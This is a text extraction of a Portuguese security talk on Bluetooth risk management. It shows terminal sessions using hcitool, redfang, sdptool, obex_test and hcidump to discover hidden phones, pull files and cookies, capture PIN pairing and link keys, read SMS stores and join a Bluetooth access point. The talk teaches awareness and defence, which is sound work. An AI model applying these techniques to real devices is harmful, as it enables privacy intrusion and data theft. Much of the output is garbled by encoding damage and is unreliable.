05 Gts Bluetooth

Bluetooth e o gernciamento de risco Bluetooth e o gernciamento de risco
Nelson Murilo Nelson Murilo

nelson@pangeia.com.br nelson@pangeia.com.br
Agenda
Agenda

Caractersticas bsicas
Conceitos
Ferramentas disponveis e riscos associados
Problemas de privacidade
Vazamento de informaes
Solues para reduo dos riscos


Freqncia 2.4GHz
Uso ponto a ponto ou em rede (piconets 1+7)
Concentradores bluetooh para conexo com

redes IP (roteamento)
Alcance padro de 10 a 250 metros

Piconet
Piconet
Piconets
Piconets
Personal Area Networks - PAN
Personal Area Networks - PAN


Celulares
Notebooks
PDAs
Impressoras/Fax
Fones
Teclado/Mouse
...
Distncias
Distncias

wifi toys
Distncias
Distncias

Ferramentas
Ferramentas

Ferramentas
Ferramentas

# hcitool scan
Scanning ...
00:80:17:4E:26:4D Phantomd
00:60:57:DF:1D:28 Nokia 6600
00:07:10:0D:3C:48 tungt!n
00:0":1#:01:D5:E0 Sand!$
Ferramentas
Ferramentas
Equipamento identificado


# hcitool scan
Scanning ...
00:60:57:DF:D1:28 Nokia 6600
Equipamento oculto
Equipamento oculto

# hcitool scan
Scanning ...
#
Equipamento oculto
Equipamento oculto

# hcitool info 00:60:57:DF:1D:28
Requesting information ...
BD Address: 00:60:57:DF:1D:28
Device ame: o!ia 6600
"#$ %ersion: 1.1 &0'1( "#$ )u*version: 0'2+8
#anufacturer: o!ia #o*i,e $-ones &1(
Features: 0'*f 0'28 0'21 0'00 0'00 0'00 0'00 0'00
./0s,ot 1ac!ets2 .50s,ot 1ac!ets2 .encr31tion2 .s,ot offset2
.timing accurac32 .ro,e s4itc-2 .sniff mode2 .)56 ,in!2
.7%/ 1ac!ets2 .5%)D2
Ferramentas
Ferramentas

# an! "r ##$#%&######"##$#%&FFFFFF
r!d%ang & th! '(u!tooth hunt!$ )!$ 2.5
*c+2003 ,tak! -nc
autho$: .((i! /hit!hou! 0o((i!,attak!.com1
"dd$! $ang! 00:60:57:00:00:00 &1 00:60:57:FF:FF:FF
Found: Nokia 6600 200:60:75:%d:1d:013
4!tting D!)ic! -n%o$mation.. Conn!ct!d.
56P 7!$ion: 1.1 *081+ 56P Su')!$ion: 08248
6anu%actu$!$: Nokia 6o'i(! Phon! *1+
F!atu$!: 08'% 0828 0821 0800
03&(ot 9ack!t1
05&(ot 9ack!t1
0!nc$:9tion1
0(ot o%%!t1
0timing accu$ac:1
0$o(! ;itch1
0ni%% mod!1
0SC. (ink1
0<73 9ack!t1
0C7SD1
Ferramentas
Ferramentas

# cat /usr/local/etc/btoui
=!8a>-nt$um!nt #'(##()'
...
9a(m 00:07:E0
"99(!?!:'oa$d 00:0":#5
E$icon=68i 00:0":D#
<P>iP"@ 08:00:28
<P>iP"@h5500 08:00:17
Nokia3650 00:60:57
Nokia6600 00:60:57
Nokia6820 00:02:!!
Nokia7650 00:02:EE
NokiaN4ag! 00:60:57
Si!m!nFuAitu>5..B600 00:E0:00
Si!m!nS55 00:01:E3
Si!m!nSB1 00:01:E3
Son:E$iconP800 00:0":D#
Son:E$icon=610 00:0":D#
...
# tbsearch hci#
Cing hci0...
Cing 1 d!).
hci0:=$:ing 08:00:28:00:00:00
hci0:=$:ing 08:00:28:00:00:01
hci0:=$:ing 08:00:28:00:00:02
hci0:=$:ing 08:00:28:00:00:03
hci0:=$:ing 08:00:28:00:00:04
hci0:=$:ing 08:00:28:00:00:05
hci0:=$:ing 08:00:28:00:00:06
hci0:=$:ing 08:00:28:00:00:07
hci0:=$:ing 08:00:28:00:00:08
hci0:=$:ing 08:00:28:00:00:0#
Ferramentas
Ferramentas

# tbsearch "n Nokia$$## hci#
Cing hci0...
Cing 1 d!).
Nokia6600 & 00:60:57
hci0: =$:ing 00:60:57:00:00:00
hci0: =$:ing 00:60:57:00:00:01
hci0: =$:ing 00:60:57:00:00:02
hci0: =$:ing 00:60:57:00:00:03
hci0: =$:ing 00:60:57:00:00:04
hci0: =$:ing 00:60:57:00:00:05
hci0: =$:ing 00:60:57:00:00:06
hci0: =$:ing 00:60:57:00:00:07
hci0: =$:ing 00:60:57:00:00:08
hci0: =$:ing 00:60:57:00:00:0#
hci0: =$:ing 00:60:57:00:00:0a
hci0: =$:ing 00:60:57:00:00:0'
hci0: =$:ing 00:60:57:00:00:0c
2...3
Ferramentas
Ferramentas

# hcidump "t "* "+
<C- ni%%!$ & D(u!tooth 9ack!t ana(:E!$ )!$ 1.1#
1114607#42.#23157 0 <C- Command: C$!at! Conn!ction *0801F
080005+ 9(!n 13 'dadd$ 00:60:57:DF:1D:28 9t:9! 08cc18 $;itch
0800 c(ko%%!t 080000
&&
1114607#42.#38368 1 <C- E)!nt: Command Statu *080%+ 9(!n 4
C$!at! Conn!ction *0801F080005+ tatu 0800 ncmd 1
1114607#47.7431#6 1 <C- E)!nt: Conn!ct Com9(!t! *0803+ 9(!n 11
tatu 0800 hand(! 41 'dadd$ 00:60:57:DF:1D:28 t:9! "C5
!nc$:9t 0800
Service Discovery Protocol (SDP)
Service Discovery Protocol (SDP)

Prov os meios para uma aplicao cliente descobrir
quais servios esto disponveis do lado servidor e
os atributos deste servio. Os atributos incluem tipo
ou classe do servio oferecido, e informaes sobre
o mecanismo ou protocolo necessrios para usar
determinado servio.
OPUS ! O"#$ %&ransferncia de arquivo'
()$ * ()$
+,- * +ial Up -et.or/
SP * Serial Port
,xemplos de ser-i.os
Ferramentas
Ferramentas

# sdptool search /dbaddr ##($#(%&(DF(D0()' 1P234
-nGui$ing ...
S!a$ching %o$ .PCS< on 00:60:57:DF:1D:28 ...
S!$)ic! Nam!: .DEB .'A!ct Puh
S!$)ic! H!c<and(!: 0810003
S!$)ic! C(a -D 5it:
I.DEB .'A!ct PuhI *081105+
P$otoco( D!c$i9to$ 5it:
I52C"PI *080100+
IHFC.66I *080003+
Channel( 5
I.DEBI *080008+
5anguag! Da! "tt$ 5it:
cod!>-S.63#: 08656!
!ncoding: 086a
'a!>o%%!t: 08100
P$o%i(! D!c$i9to$ 5it:
I.DEB .'A!ct PuhI *081105+
7!$ion: 080100

Ferramentas
Ferramentas
# sdptool bro6ser ""tree ##($#(%&(A%(7F(8& 9
: bp.pl ##($#(%&(A%(7F(8&
00:60:57,3605345
d!)ic!: Nokia 8#10i
)!$ion: 7 4.45 02&07&03 N<6 & 4NB *c+ N6P
dat!: 02J07J03
t:9!: mo'i(! 9hon!
not!: nJa
Ferramentas
Ferramentas
# obex;test "b ##($#(%&(A%(7F(8&
Cing D(u!tooth HFC.66 t$an9o$t
.DEB -nt!$acti)! t!t c(i!ntJ!$)!$.
1 g!t t!(!comJ9'.)c%
6ad! om! 9$og$!...
6ad! om! 9$og$!...
6ad! om! 9$og$!...
2...3
6ad! om! 9$og$!...
g!t>c(i!nt>don!*+ Found 'od:
4E= ucc!%u(K
Fi(!nam! L t!(!comJ9'.)c%
/$ot! Jtm9J9'.)c% *106#5 ':t!+
1 d
Diconn!ct don!K
Ferramentas
Ferramentas

Ferramentas
Ferramentas

< conect "addr ##($#(&%(0D()' "channel = "user att "pass ack
>ocal de-ice ##(#5(C#(##(##($D
?emote de-ice ##($0(&%(0D()' @=A
< dri-es
DH FS= S-ME FHEE
C: 5%% 613#?' 530?'
D: Fat 37#?' 377?'
E: Fat 501480?' 350480?'
M: Hom 22528?' 0?'
< cat c(93Bstem9Data9Cookies.dat
CF-26#85555mo'i(!.(on!(:9(an!t.comJ/!dN 08&F!'&2004
02:18:02 46=CF=.?E#068#862mo'i(!.(on!(:9(an!t.comJ/!dN
08&F!'&2004 02:18:02 46=
Ferramentas
Ferramentas


PIN
PIN
Personal Identification Number
Personal Identification Number


0 1ciconfi2 1ci3
1ci34 &5pe4 US"
"+ )ddress4 00:10:60:AA:9B:5B )67 8&U4 9:;4< S6O 8&U4 =>4<
UP ?U--,-@ PS6)- ,S6)-
?$ b5tes4A<:<= acl4=9; sco43 events499>= errors43
&$ b5tes4A=B>; acl4CA: sco43 commands4A<: errors43
0 cat DvarDlibDbluetoot1D00:10:60:AA:9B:5BDlin//e5s
334=34CB4+(4+94;< )A:))(#9+B;C<)B:+)<";"A3(B9)#)>A 3

E 6, #vent4 P,- 6ode ?equest %3F9=' plen =
bdaddr 334=34CB4+(49+4;:
G 6, 6ommand4 P,- 6ode ?equest ?epl5 %3F39H3F333d' plen ;A
bdaddr 334=34CB4+(49+4;: len > pin I3C3CI
E 6, #vent4 6ommand 6omplete %3F3e' plen 93
P,- 6ode ?equest ?epl5 %3F39H3F333d' ncmd 9
status 3F33 bdaddr 334=34CB4+(49+4;:
E )67 data4 1andle >9 fla2s 3F3; dlen 9;
7;6)P%s'4 +isconn req4 dcid 3F33>3 scid 3F33:A
G )67 data4 1andle >9 fla2s 3F3; dlen 9;
7;6)P%s'4 +isconn rsp4 dcid 3F33>3 scid 3F33:A
E 6, #vent4 7in/ Je5 -otification %3F9<' plen ;A
bdaddr 334=34CB4+(49+4;: /e5 A39AAFE1D7258A79DA8B2B30F71AEA43
t5pe 3
E 6, #vent4 -umber of 6ompleted Pac/ets %3F9A' plen C

0 cat DvarDlibDbluetoot1D00:10:60:AA:9B:5BDlin//e5s
334=34CB4+(49+4;: )A:))(#9+B;C<)B:+)<";"A3(B9)#)>A 3

# hcidump -a -r
HCI Event: Connect Complete (0x03) plen 11
HCI Event: Remote Name Req Complete (0x07) plen 255
. ) . . W ` . N o k i a 6 6 0 0 . . .
ACL data: handle 0x0029 flags 0x02 dlen 82
L2CAP(d): cid 0x0041 len 78 [psm 3]
RFCOMM(d): UIH: cr 1 dlci 6 pf 1 ilen 73 fcs 0x93 credits 1
. . I . . ! . I . m . a . g . e . ( . 0
. 2 . 9 . ) . . . j . p . g . . . . . r
. B . . i m a g e / j p e g . D . . 2 0
0 4 0 3 0 6 T 1 5 4 0 4 2
ACL data: handle 0x0029 flags 0x01 dlen 164
L2CAP(d): cid 0x0041 len 672 [psm 3]
RFCOMM(d): UIH: cr 1 dlci 6 pf 1 ilen 666 fcs 0x93 credits 1
. . . H . . . . . . . . J F I F . . . .
. . . . . . . . . ( . . . 0 6 / 0 3 / 2
0 0 4 . 1 4 : 4 0 : 4 0 . M o d e = 1 .
Riscos
Riscos

# hcidump -a -r
2 758 9vent: $8 5ode Request &0'16( 1,en 6
( . . : ; .
. 758 5ommand: Remote ame Request &0'01<0'001=( 1,en 10
( . . : ; . . . . .
2 758 9vent: 5ommand )tatus &0'0f( 1,en +
. . . .
2 758 9vent: Remote ame Req 5om1,ete &0'07( 1,en 255
. ( . . : ; . D 9 B 8 A 0 1 . . . . .
. . . . . . . . . . . . . . . . . . . .

. 758 5ommand: $8 5ode Request Re1,3 &0'01<0'000d( 1,en 2/
( . . : ; . . 1 2 3 4 . . . . . . . . .
. . .
2 758 9vent: 5ommand 5om1,ete &0'0e( 1,en 10
Riscos
Riscos
Riscos
Riscos

Local device 00:11:61:AA:BB:55
Remote device 00:65:75:FF:10:2 !4"
#elcome
$
$ cd %&'&tem%data
$ find ( &m&)
*+,*+,*+,* 6 A-+ 13 22:12 2005 c:%&'&tem%data%&m&+ea&t(dat
*+,*+,*+,* 64 A-+ 13 12:01 2005 c:%&'&tem%data%&m&&e.&t(dat

\System\Data\smssegst.dat Mensagens SMS enviadas
\System\Data\smsreast.dat Mensagens SMS recebidas
Onde:
Riscos
Riscos

\System\Data\smssegst.dat Mensagens SMS enviadas
\System\Data\smsreast.dat Mensagens SMS recebidas
Onde:
Vrias solues de comrcio movel esto fortemente baseadas em
servios de SMS
PAGOWIND
CRANDY
As operadoras entregam o carto com PIN
padro
Vrias informaes podem
ser acessadas remotamente
Facilitadores de acesso - simcard
Facilitadores de acesso - simcard
PAN
PAN

# hcitool scan
scanning ...
00:10:60:A2:09:2C Bluetooth Access Point Router
PAN
PAN

PAN
PAN
# hcitool scan
scanning ...
00:10:60:A2:09:2C Bluetooth Access Point Router
# pand --connect 00:10:60:A2:09:2C
# ifconfig bnep0
bnep0 Link encap:Ethernet HWaddr 00:09:C5:03:0A:6D
inet6 addr: fe80::209:c5ff:fe03:a6d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4632 errors:0 dropped:0 overruns:0 frame:0
TX packets:4270 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1607833 (1.5 MiB) TX bytes:450257 (439.7 KiB)
# dhclient -q
PAN
PAN
# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.2.0 * 255.255.255.0 U 0 0 0 bnep0
default 192.168.2.1 0.0.0.0 UG 0 0 0 bnep0
# ping -c 1 192.168.2.1
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=30 time=86.5 ms
-- 192.168.2.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 86.508/86.508/86.508/0.000 ms
PAN
PAN

# tcpdump "i bnep#
01:0#:11.11864# -P dn.hin!t.n!t.domain 1 1#2.168.2.100.32810:
15#82O 0J1J0 *7#+
01:0#:11.11#011 -P 1#2.168.2.100.32810 1 dn.hin!t.n!t.domain:
15#83P """"Q ;;;.;3.o$g.5"N. *32+
01:0#:11.53#672 -P dn.hin!t.n!t.domain 1 1#2.168.2.100.32810:
15#83 NBDomainO 0J1J0 *107+
01:0#:11.5422#0 -P 1#2.168.2.100.32#88 1 /3C&/ED3.6-=.EDC.;;;: S
30178463#:30178463#*0+ ;in 5840
0m 1460Nack.?Ntim!tam9 84#3004 0Nno9N;ca(! 01
01:0#:11.768683 -P /3C&/ED3.6-=.EDC.;;; 1 1#2.168.2.100.32#88: S
504576857:504576857*0+ ack 301784640 ;in 57#2
0m 1400Nack.?Ntim!tam9 1048#43162 84#3004Nno9N;ca(! 01

Copia e armazenamento no celular/pda/notebook
Ponte rede local e rede discada
Ponte rede local e usurio externo
Cpia e envio para usurio externo

So(uRS! 9a$a $!duRTo do $ico
So(uRS! 9a$a $!duRTo do $ico
(u!tooth
(u!tooth
! o
! o
4!$Unciam!nto d! $ico
4!$Unciam!nto d! $ico

05 Gts Bluetooth

Încărcat de

Informații document

Drepturi de autor

Formate disponibile

Partajați acest document

Partajați sau inserați document

Opțiuni de partajare

Vi se pare util acest document?

Este necorespunzător acest conținut?

Drepturi de autor:

Formate disponibile

05 Gts Bluetooth

Încărcat de

Drepturi de autor:

Formate disponibile

Bluetooth e o gernciamento de risco Bluetooth e o gernciamento de risco

Nelson Murilo Nelson Murilo

Ferramentas disponveis e riscos associados

Solues para reduo dos riscos

Uso ponto a ponto ou em rede (piconets 1+7)

Concentradores bluetooh para conexo com

Alcance padro de 10 a 250 metros

Copia e armazenamento no celular/pda/notebook

Ponte rede local e rede discada

Ponte rede local e usurio externo

Cpia e envio para usurio externo

S-ar putea să vă placă și